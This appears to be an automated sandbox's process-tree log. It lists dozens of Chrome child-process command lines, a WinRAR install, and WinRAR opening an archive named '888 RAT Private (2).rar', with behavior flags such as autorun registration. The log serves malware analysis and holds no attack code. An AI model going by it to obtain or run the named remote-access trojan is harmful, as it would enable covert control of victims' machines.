C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4992 /prefetch:82⤵PID:4708
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4736 /prefetch:12⤵PID:4092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5048 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:4276
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5104 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:4336
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1584 /prefetch:82⤵PID:312
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4688 /prefetch:82⤵PID:1984
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5196 /prefetch:82⤵PID:4088
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=904 /prefetch:82⤵PID:3424
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4468 /prefetch:82⤵PID:4284
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4632 /prefetch:82⤵PID:972
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1144 /prefetch:82⤵PID:204
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5644 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:3908
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5636 /prefetch:82⤵PID:3396
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5700 /prefetch:12⤵PID:2204
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2240 /prefetch:82⤵PID:2252
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3928 /prefetch:12⤵PID:3544
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5756 /prefetch:12⤵PID:848
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5572 /prefetch:82⤵PID:560
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2144 /prefetch:12⤵PID:1596
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6104 /prefetch:12⤵PID:1524
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5820 /prefetch:82⤵PID:2096
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5404 /prefetch:82⤵PID:2436
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3304 /prefetch:82⤵PID:4372
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3428 /prefetch:82⤵PID:4032
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2988 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
PID:4892
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3708 /prefetch:82⤵PID:4244
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3024 /prefetch:82⤵PID:216
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3436 /prefetch:82⤵PID:3212
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3716 /prefetch:82⤵PID:3796
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3892 /prefetch:82⤵PID:4968
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5316 /prefetch:82⤵PID:2276
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=812 /prefetch:82⤵PID:1828
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3940 /prefetch:82⤵PID:5000
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3940 /prefetch:82⤵PID:3360
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5464 /prefetch:12⤵PID:448
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3156 /prefetch:12⤵PID:4852
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5540 /prefetch:82⤵PID:4772
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5316 /prefetch:82⤵PID:3596
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=3272 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:1128
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3116 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:4068
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2840 /prefetch:82⤵PID:3704
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5820 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:4920
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4952 /prefetch:12⤵PID:1692
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5484 /prefetch:12⤵PID:5092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6356 /prefetch:12⤵PID:5012
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6608 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:4168
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6528 /prefetch:12⤵PID:4500
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5420 /prefetch:12⤵PID:2356
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6364 /prefetch:82⤵PID:1844
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6604 /prefetch:12⤵PID:3668
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=64 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3704 /prefetch:12⤵PID:892
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4744 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:1932
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6512 /prefetch:82⤵PID:308
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5944 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:1992
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5756 /prefetch:82⤵PID:972
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=69 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5304 /prefetch:12⤵PID:4988
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:12⤵PID:4696
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7016 /prefetch:82⤵PID:2580
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7144 /prefetch:82⤵PID:3620
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7416 /prefetch:82⤵PID:2176
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7276 /prefetch:82⤵PID:2772
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7400 /prefetch:82⤵PID:3212
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7480 /prefetch:82⤵PID:4452
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7116 /prefetch:82⤵PID:5020
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7296 /prefetch:82⤵PID:60
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7212 /prefetch:82⤵PID:1680
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=80 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7184 /prefetch:12⤵PID:2272
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=81 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:12⤵PID:976
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=82 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7368 /prefetch:12⤵PID:204
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=83 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6116 /prefetch:12⤵PID:1532
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6928 /prefetch:82⤵PID:460
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6960 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:4092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6912 /prefetch:82⤵PID:1164
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6872 /prefetch:82⤵PID:1028
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6592 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:3720
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3312 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:1420
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6760 /prefetch:82⤵PID:3936
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7460 /prefetch:82⤵PID:3612
-
-
C:\Users\Admin\Downloads\winrar-x64-611.exe"C:\Users\Admin\Downloads\winrar-x64-611.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:4028 -
C:\Program Files\WinRAR\uninstall.exe"C:\Program Files\WinRAR\uninstall.exe" /setup3⤵
- Modifies system executable filetype association
- Executes dropped EXE
- Registers COM server for autorun
- Drops file in Program Files directory
- Modifies registry class
PID:2320
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6328 /prefetch:82⤵PID:1844
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5920 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:5104
-
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\888 RAT Private (2).rar"2⤵
- Executes dropped EXE
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
